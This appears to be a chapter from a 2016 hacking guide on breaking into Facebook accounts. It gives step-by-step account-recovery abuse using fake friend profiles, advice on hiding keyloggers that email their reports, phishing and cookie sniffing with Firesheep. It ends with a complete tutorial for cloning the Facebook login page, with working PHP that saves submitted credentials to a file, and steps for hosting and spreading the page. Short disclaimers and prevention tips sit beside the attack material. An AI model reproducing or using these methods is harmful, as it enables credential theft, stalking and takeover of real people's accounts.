

# The Cyber Bite

## Hacking Facebook

Facebook is easily the most popular social networking site in the entire world. Each day, millions and millions of users log in to check their news feeds, connect with friends and family, and even make calls. There's just one problem. People, even those who aren't adept at hacking, can compromise others' accounts by stealing their passwords. It may sound like something out of an action film, but the honest truth is that there are unbelievably simple methods that most people can use to gain access to someone else's Facebook account.

If you want to become a competent hacker, knowing methods for hacking Facebook passwords is paramount to your learning. Now, I certainly don't advocate using these methods to break into other people's personal accounts and compromise their privacy. Not only is that illegal, it is morally wrong. If you're reading this because you want to get back at an ex or cause disruption, then you probably shouldn't be reading this book. On a more practical note, knowing how people hack into Facebook accounts is critical if you want to avoid being hacked. There are several things users can do to protect themselves from the most common Facebook attacks, as we'll discuss later.

---

### 1: The Password Reset

This type of attack lacks the razzle - dazzle of the more complex types of attacks, but the fact remains that it is a simple yet effective way to commandeer another user's Facebook profile. In fact, this method is commonly used to hijack all sorts of different online accounts. By changing the password, the attacker not only gains access to the profile, but they simultaneously bar the owner of the account from accessing their profile. More often than not, this attack is performed by a friend or acquaintance that has access to the target's personal computer or mobile device. You'd be surprised how many people don't even log out Facebook or cache their username and password in their browser because they are lazy.

#### **The steps are as follows:**

##### **Step 1:**

The first step in this attack is to determine the email address used to login to a user's profile. If an attacker doesn't already know the target's email addresses, guess what? Most people list this information in the contact section of their Facebook profile.

**Step 2:**

Now all an attacker needs to do is click on the Forgotten your password ? button and enter in the assumed email address of the target. Next, an attacker would click on the This is my account

**Step 3:**

Next, the password reset procedure will ask if the user wants to reset their password via email. However, many times people will delete old email accounts and use new ones. That's why there's a link that says No longer have access to these ? Click the link to continue.

**Step 4:**

The next step in the process is to update the email address linked to the account. The prompt will ask for new contact information via the How can we reach you ? Make sure the email address you enter isn't linked to another Facebook profile.

**Step 5:**

This step is a little more challenging, because it will ask a security question. If the attacker knows the target personally, this is going to be extremely easy. However, if the attacker doesn't know the target very well, they can make an educated guess. Sometimes they even dig through the victim's Facebook profile to glean information about possible correct answers to the security question. Once the correct answer has been discovered, the attacker needs to wait 24 hours before they can login.

**Step 6:**

In the event that the attacker couldn't guess the right answer to the security question, there is an option to Recover your account with help from friends . The only problem is that a lot of people 'friend' people on Facebook that they don't know too well. Select between 3 and 5 friends that will be candidates for the rest of the attack process.

**Step 7:**

This part of the password reset process sends passwords to the friends. There are two methods to this part of the process. Firstly, an attacker can contact these individuals from the fake email address to request the new password, and bonus points if the email address looks like the actual victim.

In addition, the attacker can create 3 to 5 fake Facebook profiles and try to 'friend' the target on Facebook ahead of time. Then, all the attacker would need to do is select 3 to 5 of the bogus profiles during the procedure.

---

## How to Prevent This Attack

It's frightening how easy this attack is to carry out. The good news is that there are several things users can do to protect themselves from becoming the next victim of an attack as follows:

- Use an email address that is only dedicated to Facebook use.
  - Don't list your email address on your Facebook profile.
  - Make your security question as complex and difficult to guess as possible. If you really want to get tricky, you could enter a bogus answer that is unrelated to the question (as long as you can remember it!). For example, if the security question asks for your mother's maiden name, you could enter "JohnjacobjingleheimershmidthLarsson" (though there is character limit) or some other variant that is nearly impossible to guess. Omit personal information that is easy to guess such as pet names, birthdates, anniversaries, etc.
- 

## 2: Using the Infamous Keylogger Method

A keylogger is a nasty piece of software because it records every single keystroke a user types and records that information invisibly. Usernames, passwords, and payment card data are all up for grabs if a hacker successfully installs a keylogger on a target's computer. The first type we'll look at for hacking Facebook is a software keylogger.

The problem with software keyloggers is getting them installed on the target computing device. This can be extremely complex if a hacker wants to do it remotely, but if an attacker is a friend or personal acquaintance of the target, then this step becomes much easier. There are plenty of different keyloggers out there, but you can find many of them absolutely free of charge. After the software has been installed on the target computer, make sure you configure the settings to make it invisible and to set an email that the software will send the reports to.

### Hardware Keyloggers

There are also hardware keyloggers in existence that look like a flash drive or wireless USB stick. These really work best on desktop computers because they can be inserted into the back of the computer – and as they say, outta sight, outta mind. The code on the USB stick will effectively log keystrokes, though it isn't effective for laptops. Some of them even look like old PS2 keyboard and mouse jacks. You can easily find one online.

---

## How to Prevent This Attack

Keyloggers are nasty business, but there are several things users can do to protect themselves online as follows:

1. Use firewalls. Keyloggers have to send their report of logged keystrokes to another location, and some of the more advanced software firewalls will be able to detect suspicious activity.
2. Also, users should use a password database. These handy password vaults usually have tools that automatically generate random, secure passwords. You see, the keylogger won't be able to see these passwords since you didn't technically type them. Just make sure you always copy/paste the passwords when you log into an account.
3. Stay on top of software updates. Once an exploit has been found in an operating system, the OS manufacturer will typically include patches and bug fixes in following updates to ensure that the attack can't be performed again.
4. Change passwords on a regular basis. Some users who are extremely security conscious will change their passwords every two weeks or so. If this sounds too tedious, you could even do it every month or every three months. It may seem unreasonably zealous, but it will render stolen passwords useless.

---

## 3: Phishing

You'd be surprised how gullible the average Internet user is these days. Most people don't even check the URL of the site they are visiting as long as the web page looks as they expected it to look. A lot of people have created links to bogus URLs that look and behave exactly like the Facebook login page. Often times these fake links are embedded into social media buttons on a website.

For example, there might be a "Share on Facebook" link, but in order to share the content the user first needs to login to their account. The phishing attempt simply stored the user's credentials instead of sending them to their Facebook account. Some of the more advanced ones store a copy of the user's input, and then supply that information to the actual Facebook login page. To the user, it looks as though they have genuinely logged into Facebook, when in fact, they first visited a phishing site.

Believe it or not, it isn't that difficult to clone a website. All an attacker needs is a fake page and a passable URL that is extremely close to the real URL. Furthermore, attackers can mass email these links to email lists that are purchased online – and they're dirt cheap, too. Though it is 2016 and phishing filters are becoming increasingly sophisticated, they're not perfect.

---

## How to Prevent This Attack

There are a few simple and basic things users can do to prevent becoming the next victim of a phishing attack as follows:

1. Never follow links from emails, especially those that come from sources you don't already know. If you think you can trust the sender, always check the URL of the link before visiting the page. However, it's better to visit the website directly.
  2. Always check links on forums, websites, chatrooms, etc. Believe it or not, even popup ads can contain bogus links to phishing sites. If it doesn't look legit, don't click on it!
  3. Always use ant - virus and security software. Many of them include phishing filters that will stop users from visiting phishing sites.
- 

## 4: Stealing Cookies



Cookies are a necessary evil for some sites, but too often users lazily store their login credentials in browser cookies without knowing any better. But an attacker doesn't always need access to a target's computer to steal a cookie. There are many sniffing techniques that can be performed across a LAN, such as the wireless network in a coffee shop. Once the cookie has been stolen, the hacker can then load the cookie into their browser, fooling Facebook into believing that the victim has already logged into their account.

For example, an attacker could utilize Firesheep , which is an add - on for Firefox that sniffs traffic on Wi-Fi networks to steal cookies and store them within the attacker's web browser. Once the attacker has stolen the cookie, they can login to the target's Facebook account, provided that the target is still logged in. Then, the attacker can change the password of the profile. However, if the victim logs out of Facebook, the cookie will be worthless.

---

## **Final Thoughts on Facebook Security and Attack Prevention**

There are also some general techniques and best practices to avoid becoming the next victim of a Facebook attack. Some of them should be common sense, but too many users fail to give security a second thought.

1. Only use trusted wireless networks. If you need an Internet connection and happen to spot an unknown SSID, it's in your best interest to leave it alone.
  2. Within your Facebook profile, click on Account Settings and look in the Security Enable Secure Browsing , and make sure you always use HTTPS to prevent cookie theft.
  3. Always log out after you are finished browsing Facebook to prevent a cookie attack. Too many users simply click the "X" in their tab or browser, which doesn't log you out.
  4. Connect using a VPN connection. This will encrypt all of your data before sending it to the VPN server, so local network attackers won't be able to see what data you're transmitting.
  5. Less is more. Though users are frequently tempted to share their personal information with the world, you would do well to limit how much information you post online. Make sure private information such as email addresses, current location, and other similar information isn't shared on Facebook.
  6. Only befriend people that you trust. There are too many scams circulating that try to build trust with a target. The only problem is you have no idea who these strangers are, and more often than not, they're trying to take advantage of you.
- 

## **How to Create a Facebook Phishing Page**



The most effective hacking attack always has been and always will be social engineering as it will always be easier to trick an unsuspecting victim than to defeat technological controls. In this tutorial, we're going to take a close look at how to setup a phishing page to harvest usernames and passwords that can be used to hack other users' Facebook accounts. However, and I can't stress this enough, this knowledge should never be used to attack others in the real world. It simply isn't legal, and it isn't moral, either. If you've ever had your username or password stolen, you know how bad it feels when others have violated your privacy.

If you're reading this with the hopes of learning how to gain access to countless users' Facebook credentials, I should instead refer you to philosophical ideas on morality. Keeping that in mind, there is a lot of value, especially for aspiring hackers, to understanding how phishing works. Not only will it help you avoid mistakes that threaten your security and privacy, but it will also help you spot fishy phishing sites.

---

## What is Phishing?

Phishing is the process of setting up a fake website or webpage that basically imitates another website. Attackers frequently employ this method to steal usernames and passwords. Most frequently, the process works as follows.

A user clicks on a bad link to a phishing site. Believing they are viewing the intended web page, they enter their login credentials to access the web service. There's just one problem. The user, who is really the attack's victim, actually entered their private information into a hacker's website. And now the hacker has their login credentials!

In Facebook, this may not be as consequential as another website, like online banking. However, the hacker can now wreak ungodly amounts of havoc on a person's social life. If it happens to be a business's Facebook profile, they can damage their business. Today, however, we are going to setup an imitation Facebook login page to show you just how easy it is to start phishing. Let's take a closer look at the steps required.

---

## Steps

1. Pull up Facebook.com in your browser. Then, right click on the website's login page. You should see an option along the lines of "view source page." Click on this option and you should be able to view the code behind this page.
2. Go ahead and dump all of the page's source code into Notepad (or your operating system's best simple text editor).

If using Notepad, hit ctrl + f (which is the find hotkey) and search for action .

4. You should see a line that looks like this:  
action="[https://www.facebook.com/login.php?login\\_attempt=1](https://www.facebook.com/login.php?login_attempt=1)"
5. Delete everything contained in the quotations, and instead fill the quotes with post.php . Now it should read action="post.php"
6. Save this file somewhere on your computer with the file name of index.htm . Omit the final period from the filename. This is going to become your phishing page.
7. Next, create a new notepad document with the name of post.php . Omit the final period from the filename. Copy and paste the following code into this document, and remember to save it:

```
<?php
header ( 'Location:http://www.facebook.com/' );
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
    fwrite($handle, $variable);
    fwrite($handle, "=");
    fwrite($handle, $value);
    fwrite($handle, " \r \n");
}
fwrite($handle, " \r \n");
```

```
fclose($handle);
```

```
exit;
```

```
?>
```

At this point, you should now have two files saved: index.htm and post.php .

9. Next, this code actually needs to be uploaded to a web hosting service. There are free hosting providers, but I wouldn't recommend you actually post this code. Instead, it would be better to try this at home on your own webserver. However, for the rest of the tutorial, we'll be using 000Webhost .
10. After you have signed up for an account, browse to the control panel , and then to file manager .
11. Once the window opens, go to public\_html
12. Delete default.php , and then upload index.htm and post.php .
13. Next, click on a preview of index.htm . As you'll notice, it should look nearly identical to the Facebook login page.
14. The URL of this page is what needs to be linked to in an attack. Sometimes attackers embed this false link on other websites, forums, popup ads, and even emails.
15. Now go back to the file manager and public\_html . There should be a file labeled username.txt .
16. Open this file and you should be able to see login credentials that have been entered by a test user.

---

## Final Thoughts

It really is a simple matter of copying the code from the Facebook login screen, adding some php code, and then setting up a dummy website. Again, don't try this in the real world, because the consequences could be terrible. However, in a home environment on your own web server, this tutorial provides great insight into how attackers phish for usernames and passwords.